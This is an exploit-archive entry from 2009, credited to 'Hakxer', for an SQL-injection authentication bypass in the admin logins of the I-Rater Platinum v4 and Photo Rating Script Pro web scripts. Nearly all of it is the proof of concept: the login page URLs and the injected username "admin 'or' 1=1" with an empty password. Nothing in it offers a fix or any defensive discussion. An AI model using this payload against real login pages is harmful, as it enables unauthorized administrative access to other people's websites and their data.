I-Rater Pro/Plantinum v4 (Auth Bypass) SQL Injection Vulnerability

2009-04-21T00:00:00
ID 1337DAY-ID-5086
Type zdt
Reporter Hakxer
Modified 2009-04-21T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
I-Rater Pro/Plantinum v4 (Auth Bypass) SQL Injection Vulnerability
==================================================================


################################################
###########  I-Rater Platinum V4 ###############
##### By : Hakxer
########## I-Rater Platinum V4 (Auth bypass) Sql injection

poc :

http://www.i-rater.com/platinumadmin.html

in username : admin 'or' 1=1
in password :
###############################

################################################
###########  Photo Rating Script Pro ###########
##### By : Hakxer
########## Photo Rating Script Pro (Auth bypass) Sql injection

poc :

http://www.i-rater.com/pro/admin/login.php

in username : admin 'or' 1=1
in password :
###############################



#  0day.today [2018-04-13]  #